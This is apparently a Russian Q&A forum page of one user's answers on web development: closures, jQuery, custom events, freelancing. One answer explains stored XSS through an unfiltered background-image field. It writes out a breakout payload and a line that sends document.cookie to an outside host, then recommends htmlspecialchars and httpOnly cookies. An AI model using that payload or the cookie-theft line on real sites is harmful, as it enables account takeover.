• Как получить данных на select из база данных через javascript?

    ThunderCat
    @ThunderCat Куратор тега PHP
    {PHP, MySql, HTML, JS, CSS} developer
    Если данных не много и вы заранее знаете какие данные вам нужны для селекта просто получите их в json и используйте когда нужно. Если же данных много и они заранее не известны - запрашивайте их с сервера Аяксом. Можно даже в виде готового хтмл для селекта.
    Ответ написан
    Комментировать
  • Что такое замыкание?

    @HowardRoark
    Full stack developer
    Мне кажется, самый простой пример замыкания - это счетчик.
    var counter = (function () {
    	var current = 0;
    	return function () {
    		current++;
    		return current;
    	}
    })();
    
    console.log(counter()); // 1
    console.log(counter()); // 2

    В данном случае мы не имеем доступ к переменной current и функция гарантированно возвращает каждый раз уникальное значение.
    Если бы это была простая функция, то переменная, содержащая состояние (current), должна была бы находиться вне функции.
    var current = 0;
    var counter = function () {
    	current++;
    	return current;
    }
    
    console.log(counter()); // 1
    current = 5;
    console.log(counter()); // 6

    А это уже нарушает принцип "черного ящика", т.к. переменной можно присвоить другое значение в любом месте.
    Ответ написан
    4 комментария
  • Почему не работает slick slider в табах?

    Chefranov
    @Chefranov
    Новичок
    Вам надо переинициализировать слайдер после переключения таба
    Ответ написан
    3 комментария
  • Где искать адекватных верстальщиков?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Ух. Ну как-бы с такой постановкой задачи и не стоит рассчитывать на качественных фрилансеров.

    1. Ваша формулировка "Есть два шаблона с TemplateMonster на какой сам сядешь, на какой клиента посадишь нужно добавить в первый функционал из второго", - по сути, если делать нормально это "нарисуйте и сверстайте новый дизайн по мотивам двух предыдущих".
    Как бы это работа для 2х разных людей: дизайнера и верстальщика.
    По факту они не сочетаются в одном человеке практически никогда.

    2. Без обид, но в задаче на fl очень сумбурное изложение - много всякой мелкой конкретики, каких-то специфических требований к валидации и комментированию - но при этом нет в тексте собственно ТЗ на функционал интернет магазина.
    "Сделайте как в том шаблоне" - это не ТЗ. "Сделайте как в том шаблоне" - это отправная вводная для не маленькой работы продуктового аналитика, но таких я на фрилансе не встречал ни за какие деньги.

    Грамотному исполнителю такая постановка вопроса говорит о том, что у Вас есть какое-то своё видение и либо Вас нужно будет адски брифовать, либо от Вас будет миллион правок.

    3. Бюджет.
    У меня есть адекватные верстальщики которые быстро и качественно верстают. Стоимость верстки с нуля одной страницы у них начинается с цифры большей, чем Ваш проект целиком (ни разу не хочу Вас обидеть).
    Да, у меня завышенные требования и к качеству, и к скорости, - но в любом случае исследование чужого кода с внесением правок задача заведомо более сложная чем сверстать с нуля.

    ИТОГО
    Если хотите хорошего вменяемого результата, разбейте задачу на две:
    1. Нарисовать дизайн по мотивам первого шаблона.
    Подробно опишите конкретный список страниц, конкретный функционал, конкретные изменения.
    2. Сверстать новый дизайн.
    Ответ написан
    5 комментариев
  • Почему не работает children jquery?

    BRAGA96
    @BRAGA96
    let title = $(this).find('.form-title').text();
    Ответ написан
    Комментировать
  • Где ошибка при использовании jquery insertAfter?

    У вас ошибка в 42 строчке, код прекращает работу.
    Ответ написан
    1 комментарий
  • Регурял - как экранировать кавычки?

    Decadal
    @Decadal
    ="(.*)"
    здесь ошибка. Идея такова:
    https://regexr.com/3u369

    замените точку на выражение "алфавитные символы".
    А еще лучше - на отрицание двойной кавычки.
    не знаю, каким regexp пользуется notepad++, там вроде свои причуды.
    Ответ написан
    3 комментария
  • Как скачать таблицу неавторизованным в гугле пользователям?

    alexgearbox
    @alexgearbox
    Дать доступ к таблице «всем, у кого есть ссылка».
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Браузер не видит css файл,в чем проблема?

    iamd503
    @iamd503 Куратор тега CSS
    Верстальщик
    у вас "с" на русском написана
    Ответ написан
    2 комментария
  • Почему нет профсоюза IT-работников?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Imho все адекватные люди аполитичны и предпочитают тратить время на зарабатывание денег.
    В текущих реалиях проще эмигрировать, чем тратить время на это вот все.

    А про забастовку, ну право смешно. Вы реально считаете что правительство рассматривать it отрасль как социально значимую? Это скорее что-то непонятное, мешающее свету из телевизора проникать глубь народных масс.

    Тем более что государственных то it компаний практически нет. Будете бастовать внутри своей коммерческой структуры - никому кроме этой структуры вы не навредите.

    Поднимите столько хайпа что государство обратит внимание на регулирование работников - вот тут то вы и взвоете по настоящему.
    Ответ написан
    10 комментариев
  • Как в jquery вывести именно тот data атрибут по которому щелкнули?

    0xD34F
    @0xD34F Куратор тега JavaScript
    $('.va-city-list').on('click', '.list-city', function() {
      console.log($(this).data('city'));
    });

    или

    $('.list-city').click(e => console.log($(e.target).attr('data-city')));

    или

    document.querySelector('.va-city-list').addEventListener('click', e => {
      const { city } = e.target.dataset;
      if (city) {
        console.log(city);
      }
    });

    или

    const onClick = e => console.log(e.target.getAttribute('data-city'));
    document.querySelectorAll('.list-city').forEach(n => n.addEventListener('click', onClick));

    или

    for (const n of document.getElementsByClassName('list-city')) {
      n.onclick = onClick;
    }
    
    function onClick() {
      console.log(this.attributes['data-city'].value);
    }
    Ответ написан
    Комментировать
  • А можно ли, создать железный Интернет браузер, который будет полностью изолирован от OS?

    Stalker_RED
    @Stalker_RED
    whonix, tails и torbrowser смотрят на этот список с недоумением.
    А еще мимо проходил планшет, и сказал что он вообще настолько автономен, что у него даже свой экран и батарейка.

    Вы бы описали требования поконкретнее.
    Ответ написан
    Комментировать
  • Какова суть генерации своих событий в JavaScript?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Попробую на пальцах объяснить.

    Событие – это конверт, на котором написано его название. Внутрь конверта можете вложить что-нибудь, а можете оставить конверт пустым.

    Элемент – это столик. Кто угодно может подойти и положить на столик свой конверт.

    Слушатель – это мужик, который топчется около столика и смотрит, нет ли чего с интересующим его названием. Может несколько человек поджидать конвертики с определённым названием – прочтут все, если только в конверте не написано «по прочтении съесть» – тогда кто-то съест и дальше не передаст.

    Как создать/отправить конверт. В любом месте кода создайте конверт и дайте ему название: var myEvent = new Event('teaTime'); Остается положить конверт на нужный столик:
    document.getElementById('stolik').dispatchEvent(myEvent);


    Чтобы в событие вложить какие-то данные, нужно использовать другой конструктор и передать нагрузку в поле detail:
    var event = new CustomEvent('saySomething', { detail: "Hello there!" });


    Для чего нужно создавать свои события? Чтобы развязать куски кода. Например, в разных местах документа можно нажать на кнопку повторяющегося виджета. Виджет создаст на document событие "widgetClicked". А ещё несколько одинаковых компонентов в странице, слушающих document на предмет события "widgetClicked", получат пинок и что-нибудь вытворят.
    Ответ написан
    2 комментария
  • Как правильно вывести массив?

    кто придумал совместить в ключах массива CamelCase, under_score и обычное слитное написание о_О
    Ответ написан
    1 комментарий
  • Как лечить спину айтишникам?

    GavriKos
    @GavriKos
    Ну йопт. Вот вы айтишник. Вы же знаете что вопросы по теме надо задавать тем кто шарит в теме, а не сгружать вопросы по программированию переводчикам. Сходите к врачу! И он вам все скажет что и как лучше для ВАШЕГО организма.
    Ответ написан
    11 комментариев
  • Почему ошибка останавливает выполнение других скриптов?

    @BorisKorobkov
    Web developer
    Почему ошибка останавливает выполнение других скриптов?

    Вспомните мультфильм "Клад кота Леопольда". Там надо было сделать "пять шагов на север от старой березы", то есть
    1. найти старую березу
    2. определить север
    3. сделать 5 шагов

    Если старая береза не найдена, то последующие действия не имеют смысла.
    Так и в js.

    Я хочу, чтобы ниже подключенные файлы всегда исполнялись.

    https://habrahabr.ru/company/mailru/blog/282149/
    Ответ написан
    Комментировать